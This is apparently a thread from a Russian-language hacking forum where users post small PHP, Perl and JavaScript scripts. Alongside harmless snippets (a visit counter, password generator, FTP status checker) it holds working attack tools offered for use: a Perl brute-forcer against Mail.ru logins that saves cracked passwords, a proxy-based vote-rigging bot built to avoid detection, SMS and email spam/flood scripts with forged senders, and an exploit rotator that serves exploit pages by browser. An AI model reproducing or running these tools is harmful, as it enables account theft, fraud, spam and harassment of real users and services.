Простейший персональный счетчик на php кстати помещается в 4 строчки если использовать cookies. PHP: <?php if (!isset($counter)) $counter = 0; $counter++; setcookie("counter", $counter, 0xAAAAAAAA); echo "You have visited this page $counter times."; ?>
это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например: For 1 threads time = 55 For 2 threads time = 52 For 3 threads time = 50 в результате установится 3 потока P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/ Code: #!/usr/bin/perl use IO::Socket::INET; use threads; use threads::shared; my @pass : shared; ###################################### $dic = 'pass.txt'; $mail = '[email protected]'; ###################################### $thr = 1; ###################################### ( $login, $dom ) = split ( /@/, $mail ); open (pass, "<$dic"); open (bad, ">bad.txt"); Next: @pass = pass(); my $time_start = time; if ( @pass == 0 ) { print "Sorry, password not found =(\n"; exit; } for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); } for(0..$thr) { $trl[$_]->join; } sub Brut { while (@pass){ $pass = shift @pass; $data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login"; $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>'win.mail.ru', PeerPort=>80); print $sock "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n". "Host: win.mail.ru\r\n". "Accept: */*\r\n". "Range: bytes=0-63\r\n". "User-Agent: Opero\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".length($data)."\r\n". "Connection: close\r\n\r\n$data"; $answ = <$sock>; close $sock; #print "$pass\t$answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$login:$pass\n"; print "$login:$pass\n"; close good; exit; } } } if ( $thr < 20 && $key == 0 ) { my $time_end = time; my $timer = $time_end - $time_start; print "For $thr threads time = $timer\n"; $optim[$timer] = $thr; $thr++; } elsif ($key == 0) { while (1) { $thr = shift @optim; print "Thr $thr\n"; last if ($thr); } $key = 1; } goto Next; sub pass { my (@mas); while (<pass>){ push @mas, $_; last if (@mas > 300); } print bad $_; print $_; chomp @mas; return @mas; }
маленький и простой генератор случайных паролей из читабельных символов... PHP: <?for($i;$i<$_GET['len'];$i++) echo chr(rand(33,126));?>
извини пожалуйста, но это не самый полезный скрипт... он конечно выдает фигню какуюто (не пробовал, но вижу) а куда дальше фигню девать, знает лишь мудрец мохнатый... и на пароли (извини) это будет не похоже... я бы мог написать скриптец, который существенно дополнит твой, но не буду т.к. этот баян существует со времен царя Гороха... (извини если че не так)
..для чего, написано в заголовке и выдает нормальные случайные пароли необходимой длины, проверь... А запостил, т.к. в нете не нашлось маленького простого генератора (а всякого г... навалом), был интерес написать свое в минимум кода... Для этого и выложил чтоб каждый дальше сам дополнял необходимый ему функционал. ЗЫ сорри за офтоп в теме...
Кому не трудно, подкиньте пожалуйста Php-код для индикации состояния ФТП-сервера (В смысле "работает", "ошибка подключения" и т.п.). Я имею ввиду не чекер, а информер для сайта.
PHP: <?php $ftp_server = "10.252.31.31"; $conn_id = ftp_connect($ftp_server); if (!$conn_id) { echo "OFFLINE"; exit; } else { echo "ONLINE"; } ftp_close($conn_id); ?>
Спасибо. А возможно ли добавить таймаут на опрос? Иначе, если сервер упал, информер слишом долго "соображает". Сервер и портал в одной сети, коннект должен происходить быстро. В противном случае, сервер можно считать упавшим заочно.
PHP: <?php error_reporting(0); $ftp_server = "10.252.31.31"; //ФТП СЕРВЕР $port = "21"; //ПОРТ, СТАНДАРТНЫЙ 21 $timeout = "1"; //ТАЙМАУТ СОЕДИНЕНИЯ $conn_id = ftp_connect($ftp_server, $port, $timeout); if (!$conn_id) { echo "OFFLINE"; exit; } else { echo "ONLINE"; } ftp_close($conn_id); ?>
массивы автоматически индексируются, если нужно int-значение в кач-ве аргумента. пример: $massiv['sym'][] = "k"; $massiv['sym'][] = "y"; print $massiv['sym']['1']; отобразит "y". как и print $massiv['sym'][1]; ps: я сказал "не обязательно", это не значит "неправильно".
PHP: <?php ignore_user_abort(1); set_time_limit(0); $browsers = array ("MSIE 6.0", "Mozilla/4.0", "Mozilla/5.0", "Opera/9.23", "MSIE 7.0"); $send = "GET http://site.ru/index.html?vote=123 HTTP/1.1\r\n"; $send .= "Host: site.ru\r\n"; $send .= "User-Agent: ".$browsers[rand(0,4)]."\r\n"; $send .= "Referer: http://site.ru/index.html\r\n"; $send .= "Pragma: no-cache"; $send .= "Connection: Close\r\n\r\n"; $vote_count = 0; $error1 = "Proxy ".$proxy." isn't available!\r\n"; $proxy_file = "proxy.txt"; $proxy_file_handle = fopen($proxy_file,"r"); $report_file = "report.txt"; $report_file_handle = fopen($report_file,"a"); fputs($report_file_handle,"Voting successfully started on ".date('l dS \of F Y h:i:s A')."!\r\n"); while(!feof($proxy_file_handle)) { $proxy = fgets($proxy_file_handle,1024); $proxy_in_parts = explode(":",$proxy); $ip = $proxy_in_parts[0]; $port = $proxy_in_parts[1]; $socket = fsockopen($proxy,$port,&$errno,&$errstr); if (!$socket) { fputs($report_file_handle,$error1); continue; } else { if(fputs($socket,$send)) { $vote_count++; fputs($report_file_handle,"You've voted ".$vote_count." times\r\n"); $rand_numb=rand(300,600); sleep($rand_numb); } else continue; }; }; fclose($socket); fclose($proxy_file_handle); fputs($report_file_handle,"Voting finished on ".date('l dS \of F Y h:i:s A')."!\r\n\r\n------------------------------------------------\r\n\r\n"); fclose($report_file_handle); ?> Накрутчик голосований. Писал сам. Есть поддержка проксей (proxy.txt)+отчет о количестве голосов пишется в файл report.txt. Для беспалевности в поле User-Agent get запроса случайно добавляется один из 5 браузеров, еще промежуток между голосами стоит от 5 до 10 минут в секундах (случайно). Скрипт писался под рейтинг кс серверов.
Code: javascript:d=document;for(i=0;i<d.images.length;i++){d.images[i].src='http://hacking.ge/templates/standard/img/page/logo.gif';void(0)};As=d.getElementsByTagName('a');for(i=0;i<As.length;i++){a=As[i];a.href='http://www.hacking.ge';if(a.innerHTML.indexOf('IMG')==-1){s='';while(s.length<a.innerText.length)s=s+'HACK ';a.innerText=s;}void(0);} Прикольный скрипт Вводим его в адресную строку любого сайта, желательно чтоб на сайте было много картинок
Вот скрипт адресной книги куки: Вставляем между <head> & </head> Code: <SCRIPT LANGUAGE="JavaScript"> var arrRecords = new Array(); var arrCookie = new Array(); var recCount = 0; var strRecord=""; expireDate = new Date; expireDate.setDate(expireDate.getDate()+365); function cookieVal(cookieName) { thisCookie = document.cookie.split("; ") for (i = 0; i < thisCookie.length; i++) { if (cookieName == thisCookie[i].split("=")[0]) { return thisCookie[i].split("=")[1]; } } return 0; } function loadCookie() { if(document.cookie != "") { if(cookieVal("Records") != ""){ arrRecords = cookieVal("Records").split(","); } currentRecord(); } } function setRec() { strRecord = ""; for(i = 0; i < document.frm1.elements.length; i++) { strRecord = strRecord + document.frm1.elements[i].value + ":"; } arrRecords[recCount] = strRecord; document.frm2.add.value = " NEW "; document.cookie = "Records="+arrRecords+";expires=" + expireDate.toGMTString(); } function newRec() { switch (document.frm2.add.value) { case " NEW " : varTemp = recCount; for(i = 0; i < document.frm1.elements.length; i++) { document.frm1.elements[i].value = "" } recCount = arrRecords.length; document.frm2.add.value = "CANCEL"; break; case "CANCEL" : recCount = varTemp; document.frm2.add.value = " NEW "; currentRecord(); break; } } function countRecords() { document.frm2.actual.value = "Record " + (recCount+1)+"; "+arrRecords.length+" saved records"; } function delRec() { arrRecords.splice(recCount,1); navigate("previous"); setRec(); } function currentRecord() { if (arrRecords.length != "") { strRecord = arrRecords[recCount]; currRecord = strRecord.split(":"); for(i = 0; i < document.frm1.elements.length; i++) { document.frm1.elements[i].value = currRecord[i]; } } } function navigate(control) { switch (control) { case "first" : recCount = 0; currentRecord(); document.frm2.add.value = " NEW "; break; case "last" : recCount = arrRecords.length - 1; currentRecord(); document.frm2.add.value = " NEW "; break; case "next" : if (recCount < arrRecords.length - 1) { recCount = recCount + 1; currentRecord(); document.frm2.add.value = " NEW "; } break; case "previous" : if (recCount > 0) { recCount = recCount - 1; currentRecord(); } document.frm2.add.value = " NEW "; break; default: } } // Splice method Protype Function // Peter Belesis, Internet.com // http://www.dhtmlab.com/ function pageLoad(){ if (!Array.prototype.splice) { function array_splice(ind,cnt) { if (arguments.length == 0) return ind; if (typeof ind != "number") ind = 0; if (ind < 0) ind = Math.max(0,this.length + ind); if (ind > this.length) { if (arguments.length > 2) ind = this.length; else return []; } if (arguments.length < 2) cnt = this.length-ind; cnt = (typeof cnt == "number") ? Math.max(0,cnt) : 0; removeArray = this.slice(ind,ind+cnt); endArray = this.slice(ind+cnt); this.length = ind; for (var i = 2; i < arguments.length; i++) { this[this.length] = arguments[i]; } for(var i = 0; i < endArray.length; i++) { this[this.length] = endArray[i]; } return removeArray; } Array.prototype.splice = array_splice; } recCount = 0; loadCookie(); countRecords(); } </script> Вставляем код между <body & ">" Code: onLoad="pageLoad()" Вставляем код между <body> & </body> Code: <center> <form name="frm1"> <table align="center" resize="none" border="0"> <tr> <td align="right">Name:</td> <td colspan="5"><input type="box" name="name" size="49"></td> </tr> <tr> <td align="right">Address:</td><td colspan="5"><input type="box" name="address" size="49"></td></tr> <td align="right">Address 2:</td><td colspan="5" align="left"><input type="box" name="address2" size="49"></td> </tr> <tr> <td align="right">City:</td> <td><input type="box" name="city" size="15"></td> <td>State:</td><td><input type="box" name="state" size="15"></td> <td>Zip:</td><td><input type="box" size="6" name="zip"></td> </tr> <tr> <td align="right">Phone:</td> <td align="left"><input type="box" name="phone" size="15"></td> <td align="right">Fax:</td><td align="left"><input type="box" name="fax" size="15"></td> </tr> <tr> <td align="right">Web Page:<td colspan="5" align="left"><input type="box" name="address" size="49"></td> </tr> <tr> <td align="right">E-Mail:<td colspan="5" align="left"><input type="box" name="email" size="49"></td> </tr> <tr> <td align="right" valign="top">Comments:</td> <td colspan="5" align="left"><input type="box" name="comment1" size="49"><br> <input type="box" name="comment2" size="49"><br> <input type="box" name="comment3" size="49"><br> <input type="box" name="comment4" size="49"><br> <input type="box" name="comment5" size="49"> </td> </tr> </table> </form> <form name="frm2"> <table align="center" border="1" resize="none"> <tr> <td align="center"> <input type="button" name="first" value="|<< " onClick="navigate('first');countRecords()"> <input type="button" name="previous" value=" < " onClick="navigate('previous');countRecords()"> <input type="button" name="next" value=" > " onClick="navigate('next');countRecords()"> <input type="button" name="last" value=" >>|" onClick="navigate('last');countRecords()"> <input type="box" name="actual" size=30> </td> </tr> <tr> <td align="center"> <input type="button" name="add" value=" NEW " onClick="newRec();countRecords()"> <input type="button" name="set" value="SAVE RECORD" onClick="setRec();countRecords()"> <input type="button" name="del" value="Delete" onClick="delRec();countRecords()"> </td> </tr> </table> </form> </center>
MegaFon ::: Spamer ::: Flooder Только что написал.. Вроде должен работать, а так не проверял. PHP: <? #(c) NOmeR1 if(!set_time_limit(0)) { $limit = false; } else { set_time_limit(0); ignore_user_abort(1); $limit = true; } $lockfile = 'lock.lock'; //Если в каталоге этот файл, то флуд и спам перестают работать $spisok = 'spisok.txt'; //Файл списка номеров для спама $log = 'log.txt'; //Файл лога $symb = 'QWERTYUIOPADFGHJKLZXCVBNM'; $mails = array('mail.ru', 'inbox.ru', 'bk.ru', 'list.ru', 'gmail.com', 'gmail.ru'); ?> <title>MegaFon ::: Spamer ::: Flooder</title> <? if($_GET['spam'] == '1') { if($_POST['from'] && $_POST['to'] && $_POST['msg'] && $_POST['from'] < $_POST['to']) { for($i=$_POST['from'];$i<=$_POST['to'];$i++) { if(file_exists($lockfile)) { echo('Файл блокирования найден'); break; } $i = '7'.substr($i, 1); $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; mail($i.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); if($_POST['logs'] == '1') { $f = fopen($log,'a') or die('Не возможно открыть файл лога'); fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$i."\r\n") or die('Не возможно записать в файл лога'); fclose($f); } sleep(7); } echo('<font color=YellowGreen>Завершено успешно</font><br>'); } if($_POST['spisok'] == '1' && $_POST['msg']) { $file = file($spisok); for($i=0;$i<count($file);$i++) { if(file_exists($lockfile)) { echo('Файл блокирования найден'); break; } $file[$i] = $mobile; $mobile = preg_replace('/[^0-9]/','',$mobile); $mobile = '7'.substr($mobile, 1); $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); if($_POST['logs'] == '1') { $f = fopen($log,'a') or die('Не возможно открыть файл лога'); fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); fclose($f); } sleep(7); } echo('<font color=YellowGreen>Завершено успешно</font><br>'); } else { ?> Файл списка (<?=$spisok?>) <?if(is_writable($spisok)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> <form method='post' style='width:300'> Начало: <input type='text' name='from' value='79030000000'><br> Конец: <input type='text' name='to' value='79030000500'><br> Использовать список? <input type='checkbox' name='spisok' value='1'> - <?=$spisok?><br> Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> <textarea name='msg' rows='5' cols='30'></textarea><br> <input type='submit'> </form> <? } } elseif($_GET['flood'] == '1') { if(!set_time_limit(0)) { $limit = false; } else { set_time_limit(0); ignore_user_abort(1); $limit = true; } if($_POST['mob'] && $_POST['kol'] && $_POST['msg']) { $file = file($spisok); for($i=0;$i<$_POST['kol'];$i++) { if(file_exists($lockfile)) { echo('Файл блокирования найден'); break; } $mobile = $_POST['mob']; $mobile = preg_replace('/[^0-9]/','',$mobile); $mobile = '7'.substr($mobile, 1); $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); sleep(7); } if($_POST['logs'] == '1') { $f = fopen($log,'a') or die('Не возможно открыть файл лога'); fwrite($f, 'Flood ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); fclose($f); } echo('<font color=YellowGreen>Завершено успешно</font><br>'); } else { ?> Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> <form method='post' style='width:300'> Номер: <input type='text' name='mob' value='79030000000'><br> Количество СМС: <input type='text' name='kol' value='50'><br> Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> <textarea name='msg' rows='5' cols='30'></textarea><br> <input type='submit'> </form> <? } } ?> <a href='<?=$_SERVER["PHP_SELF"]?>?spam=1'>Спам</a><br> <a href='<?=$_SERVER["PHP_SELF"]?>?flood=1'>Флуд</a>
Смотрел статьи, нашел тут про ротатор эксплоитов. Вот решил выложить простенький для двух: Code: <html> <head> <meta> </head> <SCRIPT> brouser=navigator.appName cpu=navigator.cpuClass //определение версии OC function test_os() { if ((navigator.userAgent.indexOf ('Win') != -1) && (navigator.userAgent.indexOf('98') != -1)) { var OpSys = "Windows 98"; } else if((navigator.userAgent.indexOf('Win') != -1) && (navigator.userAgent.indexOf('95') != -1)) { var OpSys = "Windows 95"; } else if(navigator.appVersion.indexOf("16") !=-1) { var OpSys = "Windows 3.1"; } else if (navigator.appVersion.indexOf ("NT") !=-1) { var OpSys= "Windows NT"; } else if (navigator.appVersion.indexOf ("Linux") !=-1) { var OpSys = "Linux"; } else if (navigator.userAgent.indexOf ('Mac') != -1) { var OpSys = "Macintosh"; } else { var OpSys = "other"; } return OpSys; } function nomer() { var nomer="0" if (brouser==="Microsoft Internet Explorer") { nomer="0";nomer="1"; } return (nomer); } var sites = new Array(); var currentPage0 = 0; var currentPage1 = 1; sites[0] = "spl1.html?quot;; sites[1] = "spl2.html?quot;; function changePage() { document.getElementById( "ifrm0" ).src = sites[currentPage0]; document.getElementById( "ifrm1" ).src = sites[currentPage1]; } </script> <body> <iframe> <iframe> </body> </html>
Email :: FLoodeR :: SpameR Только что минут за 30 написал. Может пригодится кому.. PHP: <? #(C) NOmeR1 ?> <title>Email :: FLoodeR :: SpameR</title> <? error_reporting (0); if(!set_time_limit(0)) { $limit = false; } else { set_time_limit(0); ignore_user_abort(1); $limit = true; } $log = 'log.txt'; // Файл лога ini_set('max_execution_time', '0'); ?> Файл лога <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=YellowGreen>доступен для записи</font>'); } else { echo('<font color=Red>не доступен для записи</font> (права должны быть <font color=YellowGreen>0777</font>)'); } } else { echo('не существует - права на диру должны быть <font color=YellowGreen>0777</font>'); }?><br> set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> <? $ip = getenv('REMOTE_ADDR'); if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3') { $_POST['to'] = stripslashes($_POST['to']); $_POST['msg'] = stripslashes($_POST['msg']); $_POST['from'] = stripslashes($_POST['from']); $_POST['subject'] = stripslashes($_POST['subject']); if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe']) { $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n"; $headers .= "From: ".$_POST['from']."\n"; if($_GET['mail'] == '1') { mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение'); } elseif($_GET['mail'] == '2') { $_POST['to'] = explode("\n",$_POST['to']); foreach($_POST['to'] as $poluchatels) { mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение'); } } elseif($_GET['mail'] == '3') { if(preg_match('/[0-9]+/',$_POST['kol'])) { for($i=0;$i<$_POST['kol'];$i++) { mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение'); sleep(1); } } else { echo('Неверно введено (или не введено) кол-во сообщений'); } } $f = fopen($log,'a'); fwrite($f,'Отправелено сообщение с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n"); fclose($f); echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>'); } else { ?> <form style="width:350px" method='post'> <? if($_GET['mail'] == '1' || $_GET['mail'] == '3') { echo("Получатель <input type='text'name='to'><br>"); } ?> Отправитель<input type='text' name='from'><br> Тема сообщ. <input type='text' name='subject'><br> <? if($_GET['mail'] == '3') { echo("Кол-во сообщений <input type='text' name='kol'><br>"); } ?> <br> htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br> <? if($_GET['mail'] == '2') { echo("Получатели<br><textarea name='to' rows='10' cols='30'>[email protected] [email protected] [email protected]</textarea>"); } ?> <br>Сообщение<br> <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'> </form> <? } } else { ?><br> <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br> <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br> <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br> <? } ?> Пробывал флудить mail.ru <- флудит 10 сообщений за 10 секунд, но зато они все приходят!